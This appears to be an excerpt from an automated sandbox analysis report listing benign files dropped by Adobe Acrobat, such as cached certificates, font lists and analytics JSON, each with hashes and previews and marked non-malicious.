SHA-256:	71C4DFF0339F10C91E975B44840C5D8610F06FB7F77FE4F78521C3AB522FFDE4
SHA-512:	A36EDDD6B49506B8264954E678B111D21189EFC97CCEF5308A0F834BE6D791B0BB429DB9248F9FC6CEEE5B8ECA6B1AB37169061F49D92B4A10F62061E430C1D5
Malicious:	false
Preview:	2025/01/10-21:11:00.603 1c98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:11:00.604 1c98 Recovering log #3.2025/01/10-21:11:00.605 1c98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkl8BytfllXlE/HT8kuZh/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKlIeT8f7NMa8RdWBwRd
MD5:	23E3359510E9DBC66462F5B9477D1602
SHA1:	1C082C838FF12A1C3917F1EA60BD8D942B826FD4
SHA-256:	CD21270614DC72D5669020C968D40ECF1DADC70002B7FF6253FCB6B272F36C98
SHA-512:	5C3D1A64D1DE2EC0DF986FB4A24D0EBF6072DC886591A766397E36218E7BB2D6F6DFC53D192FBFFD1402E7F3E929C9D8B9A73F8D1182BF1EDE3CD801046F1286
Malicious:	false
Preview:	p...... ........O....c..(....................................................... ..........W....K...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kKQLl/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:QtiDImsLNkPlE99SNxAhUe/3
MD5:	653B940576806461AA0D32BF06B4A6E7
SHA1:	DC5B8E17E344AFD1C9E59AF092078D0D741D71F6
SHA-256:	47803D2C1239B86C55D6FB53C13F97CA3E368DD437384298C8B2A1A6363DD184
SHA-512:	B63B2C14CE882F19A88949E9272F3B2F35848086498F675C08EF9CD72294EB0BE72CFA75DA0144A72B0BEA2E00C3A75A10D61A11F2B8743013A815F79AAFF3BE
Malicious:	false
Preview:	p...... ...........%.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1292

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1292

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3139669724295695
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH/A+Yx+FIbRI6XVW7+0YoRDoAvJM3g98kUwPeUkwRe9:YvXKXoLUYpW7qGMbLUkee9
MD5:	9DE9A167326F1AABE8D27095A7B11DBE
SHA1:	9FDC1E5BB8523B557BE5B49CC999EEFA57DBB8C3
SHA-256:	0C4C02B2F0BEAAEAFADEF967F0709A0396392841D918F9D5BD9304F859497A4A
SHA-512:	04372C0B6608ED7C4CBFEB2AC32BD324399A1A3E04EB8A3F6F97077FF470460FEDFE9A0AE058A58FFF0FF7A42AE8E0B0C979BFA48BC723439A3E63499E9FC0C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1729a447-e4ca-4bff-ab1f-8f99812c221f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737044432,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.250341453696444
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH/A+Yx+FIbRI6XVW7+0YoRDoAvJfBoTfXpnrPeUkwRe9:YvXKXoLUYpW7qGWTfXcUkee9
MD5:	464668494276049F435F841EFAAC7720
SHA1:	476380580F950B8DB9980BE3A87B3158644B39B2
SHA-256:	49C5B74BF2087E9B973FDD788F8552531229327714662B749E327155624C97D4
SHA-512:	31026702990B67E88B05AD4C7D84C3E6FECCF44C66A416A40EA5ABD1DFBF7C472B3FA10D13C3B1CE58542709213EA2FFFCEDEDB80D69AC71583E4467E9E89417
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1729a447-e4ca-4bff-ab1f-8f99812c221f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737044432,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.22860094905425
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH/A+Yx+FIbRI6XVW7+0YoRDoAvJfBD2G6UpnrPeUkwRe9:YvXKXoLUYpW7qGR22cUkee9
MD5:	64FF890EF7642A59B9995F727D14BF8E
SHA1:	47297EDF982110B35BE0CC55FDAE43161BE169F1
SHA-256:	3F563C3362D365A9DF1E7A9170E8C351FC422DF7F4C95FF8D5E99FE63B817553
SHA-512:	0E2F7CF4D10207636ED4A3E8D7042A849CA75EE6DA3C8ABA5E4D483D39136B21518EA2A5C39EA9653689F1BA0C87B9F7C62DEB444BA851F540F6B0B558D3EAA8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1729a447-e4ca-4bff-ab1f-8f99812c221f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737044432,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.291126642578677
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH/A+Yx+FIbRI6XVW7+0YoRDoAvJfPmwrPeUkwRe9:YvXKXoLUYpW7qGH56Ukee9
MD5:	F332D4FC77B376F4CF0D699257A45912
SHA1:	21519913F80F640E543039CAE1AE0EF94BD0EC55
SHA-256:	35053A0A7A2F1FED0BF754EB283449344AAE87564028FC4A845BC38883C14B24
SHA-512:	ACE35EBB646FBB3FDED180D25A593B8EFEF4274E24A05261E91D3C3986D813547106AE215AFA683CAA244FB1CF0A7D6759D1C6C4F15B5BDE00F8E74B15894F3A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1729a447-e4ca-4bff-ab1f-8f99812c221f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737044432,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688073552196811
Encrypted:	false
SSDEEP:	24:Yv6XKFinpLgE9cQx8LennAvzBvkn0RCmK8czOCCSRz1:Yvqnhgy6SAFv5Ah8cv/T
MD5:	6E4D73665CBA7514BFD1C7FD625E43D0
SHA1:	DBC50E73C08182F07F5BFBBBC4A4D0946AE894F6
SHA-256:	DCDBDD33D3F45EB83D04C362AFBD2B4D1F3FEE9737EF4F260422602C90232A84
SHA-512:	597985D6418944B62EBB78878F4F11F019652F3DA6DCCD45D434CDE16837874905B456D3922197BB94C09F29ED26CFA264EE30EE374690018067A1A449A93F02
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1729a447-e4ca-4bff-ab1f-8f99812c221f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737044432,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2391750137355455
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH/A+Yx+FIbRI6XVW7+0YoRDoAvJf8dPeUkwRe9:YvXKXoLUYpW7qGU8Ukee9
MD5:	BED5C73CBD5D23C2ECF7802D68DED904
SHA1:	A38280490A8C743764345443069481DADFE05E85
SHA-256:	93DE368DA72C028AED7395E2CCBD1F676D438E304697A55C20160543FCBA52E8
SHA-512:	AB0F0A8ED7A29587150D33E012818A8F6FEF6F693F80B9FA2D12E4CB8C59C604E882C8761E19ED2143247E31BECC8F5432AC82BBC642B3DECEFB358DC57FA3F7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1729a447-e4ca-4bff-ab1f-8f99812c221f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737044432,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.241354926186663
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH/A+Yx+FIbRI6XVW7+0YoRDoAvJfQ1rPeUkwRe9:YvXKXoLUYpW7qGY16Ukee9
MD5:	857F338BC08C259BB205E32DB8DF44F4
SHA1:	66A2940A84F0EECB08A576BD8F28BA0695DA8CAE
SHA-256:	1D58FAC1D9F6C5927E99ED8050B23AD80804B7E139D3FDF714E16497290154EB
SHA-512:	14D41E672B355B47B249203CCA17795ABF0619D8DE4D1411546F799B9B56C77DBED842B15AAD19F00CAC0559F8C6FC157E591189D824F7050545C69F73E94B2E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1729a447-e4ca-4bff-ab1f-8f99812c221f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737044432,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.261958585145057
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH/A+Yx+FIbRI6XVW7+0YoRDoAvJfFldPeUkwRe9:YvXKXoLUYpW7qGz8Ukee9
MD5:	8C85408105F9333D8300A6C07568851E
SHA1:	A1E57DFB0E9852E2B737471FE7D70B16A03D98C0
SHA-256:	5ACA9B2E18383A514F055168CBAECE572A4D5222440EE4C71F94BAF4799D9273
SHA-512:	8073E6B69836E57C6C5ADC8125992BEC9C9CD1D3AFA3B3735A7B893276046751D74126C5C09BED793F68A0F766EFFE90C402C42E7F0348715EB0A753937DED26
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1729a447-e4ca-4bff-ab1f-8f99812c221f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737044432,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.267594574695818
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH/A+Yx+FIbRI6XVW7+0YoRDoAvJfzdPeUkwRe9:YvXKXoLUYpW7qGb8Ukee9
MD5:	DABD710606C09630FA915CD8DAF2218B
